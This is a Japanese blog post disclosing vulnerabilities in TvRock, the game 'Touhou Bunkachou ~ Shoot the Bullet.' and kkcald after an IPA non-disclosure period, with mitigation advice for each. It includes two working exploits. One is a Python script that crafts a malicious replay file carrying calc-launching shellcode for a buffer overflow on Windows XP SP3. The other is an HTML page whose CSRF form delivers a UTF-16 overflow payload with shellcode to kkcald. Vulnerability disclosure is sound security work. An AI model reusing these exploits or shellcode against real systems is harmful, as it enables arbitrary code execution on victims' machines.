「TvRock」「東方文花帖 〜 Shoot the Bullet.」「kkcald」の脆弱性

昨年、「TVRock」「東方文花帖 〜 Shoot the Bullet.」「kkcald」に脆弱性を発見し、IPAに報告しました。IPAからは脆弱性に関連する情報を公開しないように言われる(情報非開示依頼)のですが、起算日から1年以上が経過すると情報非開示依頼の取り下げを求めることができるようになります。取り下げを申請して認められたので、脆弱性関連情報を公開します。

脆弱性関連情報を開発者に通知したという通知と一緒に起算日が何日かということが知らされるので、開発者に通知した日が起算日なのかと思っていましたが、ガイドラインには「本ガイドラインの「IPA および JPCERT/CC 対応」において「製品開発者への連絡」(3-(2)-2)として規定された連絡を最初に試みた日を起算日とします。」と書かれていて、実際に開発者と連絡が取れたかどうかに関わらず、IPA脆弱性関連情報を受理した日から1年とちょっとが経っていれば、取り下げは認められるようです。

私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。

TvRock

TvRockの番組表には、XSSCSRFが可能であるという脆弱性があります。また、設定のプロセスで番組名などを引数にコマンドを実行するように設定している場合、OSコマンドインジェクションが可能となります。OSコマンドインジェクションについては仕様だと思っていたので、CSRFにより発生しうる脅威として報告しましたが、脆弱性として受理されました。試していません(試せません)が、キーワード検索予約が設定されている場合、放送の電波を通じての攻撃が可能なのではないかと思います。放送の電波を経由して攻撃が可能な脆弱性は珍しいのではないでしょうか。

対策方法

設定のインテリジェントで、TvRock番組表のアカウントをnobodyから他人が予測できない文字列に変更する。電波を通じたOSコマンドインジェクションは防げませんが、そこまでする攻撃者はいないでしょう。

東方文花帖 〜 Shoot the Bullet.

東方文花帖 〜 Shoot the Bullet.」にはリプレイデータの表示にバッファーオーバーフローの脆弱性が存在します。

Exploit

このスクリプトを実行して生成されたリプレイデータを表示すると電卓が起動します。ただし、XP専用。Heap sprayなどによってXP以外のWindowsでも攻撃することが可能かもしれません。

# coding: utf-8

# Exploit for 東方文花帖ver1.02a on Windows XP SP3
# (MD5(kernel32.dll)=96c3b8ea807334f4756106901c6f9495)

from struct import pack

def main():
    # http://code.google.com/p/w32-exec-calc-shellcode/
    shell = ("31f656648b76308b760c8b761c8b6e08"
             "8b368b5d3c8b5c1d7801eb8b4b1867e3"
             "ec8b7b2001ef8b7c8ffc01ef31c09932"
             "1766c1ca01ae75f76681fa10f5e0e275"
             "cc8b532401ea0fb7144a8b7b1c01ef03"
             "2c97682e6578656863616c6354870424"
             "50ffd5cc").decode("hex")
    
    d = ("\x00"*7+
         "a"*0x203+
         # point at "call esp"
         "086a837c".decode("hex")+
         # a valid nop instruction and
         # first 4 bytes + 0x8064 point at a integer of >=0x100
         "b8807f7c".decode("hex")+
         "01909090".decode("hex")+
         # nop
         "90909090".decode("hex")*2+
         # jmp +8
         "9090eb08".decode("hex")+
         # point at a string
         "0101807c".decode("hex")*2+
         # shell code
         shell)
    d = [ord(x) for x in d]
    c = compress(d)
    c = crypt(c,0x3d,0x7a,0x80)
    c = crypt(c,0xaa,0xe1,0x400)
    open("th95_ud_xxx.rpy","wb").write(
        "t95r"+
        "0100000000000000".decode("hex")+
        pack("<I",len(c)+0x24)+
        "020100000000000000000000".decode("hex")+
        pack("<I",len(c))+
        pack("<I",len(d))+
        "".join(chr(x) for x in c))

def compress(d):
    b=0; n=0
    for x in d:
        b=b<<9|0x100|x; n+=9
    b<<=14; n+=14
    b<<=-n%8; n+=-n%8
    return [ord(x) for x in ("%0*x"%(n/4,b)).decode("hex")]

def crypt(d,k,kd,b):
    tk = [k]
    def block(d):
        n = len(d)/2*2
        t = d[:]
        k = tk[0]
        for i in range(n/2):
            t[i] = d[n-i*2-1]^k; k=(k+kd)&0xff
        for i in range(n/2):
            t[i+n/2] = d[n-i*2-2]^k; k=(k+kd)&0xff
        tk[0] = k
        return t
    r = []
    for i in range(0,len(d),b):
        r += block(d[i:i+b])
    return r

if __name__=="__main__":
    main()
対策方法

信用できない人が作成したリプレイデータを使用しない。

kkcald

kkcaldにはXSSCSRFバッファオーバーフロー脆弱性があります。バッファオーバーフローUTF-16を扱っている箇所にあるため、スタックを上書きする文字列に0x00を含めることができて、Windowsのバージョンなどに関わらず容易に安定した攻撃が可能です。

Exploit(CSRF+バッファオーバーフロー

kkcald10.exeを実行して、このHTMLをブラウザで開き、ボタンを押すと、電卓が起動します。

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>kkcald 0.7.18/0.7.19 Exploit</title>
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script>
    <script type="text/javascript">
$(function(){
    $("#b").click(function()
    {
        var url = "";
        for ( var i=0; i<1030; i++ )
            url += "a";
        //  0x00413046  push esp
        //  0x00413047  ret
        url += "\u3046\u0041";  
        //  http://code.google.com/p/w32-exec-calc-shellcode/
        url += "\uf631\u6456\u768b\u8b30\u0c76\u768b\u8b1c\u086e"+
               "\u368b\u5d8b\u8b3c\u1d5c\u0178\u8beb\u184b\ue367"+
               "\u8bec\u207b\uef01\u7c8b\ufc8f\uef01\uc031\u3299"+
               "\u6617\ucac1\uae01\uf775\u8166\u10fa\ue0f5\u75e2"+
               "\u8bcc\u2453\uea01\ub70f\u4a14\u7b8b\u011c\u03ef"+
               "\u972c\u2e68\u7865\u6865\u6163\u636c\u8754\u2404"+
               "\uff50\uccd5"
        $("#remocon").val(url);
        $("#f").submit();
    });
});
    </script>
  </head>
  <body>
    <div><input type="button" value="Buffer Overflow Test" id="b"></div>
    <div>
      <form id="f" action="http://127.0.0.1:18990/" method="post" target="o">
        <input type="hidden" name="spc" value=" ">
        <input type="hidden" name="cmd" value="config">
        <input id="remocon" type="hidden" name="cfg_remocon_address">
      </form>
    </div>
    <div><iframe name="o"></iframe></div>
  </body>
</html>
対策方法

kkcaldにBASIC認証を設定し、普段使うブラウザとkkcaldを操作するブラウザを分ける。クロスサイトでの攻撃が可能なので、外部からkkcaldへのアクセスを防ぐだけでは不十分です。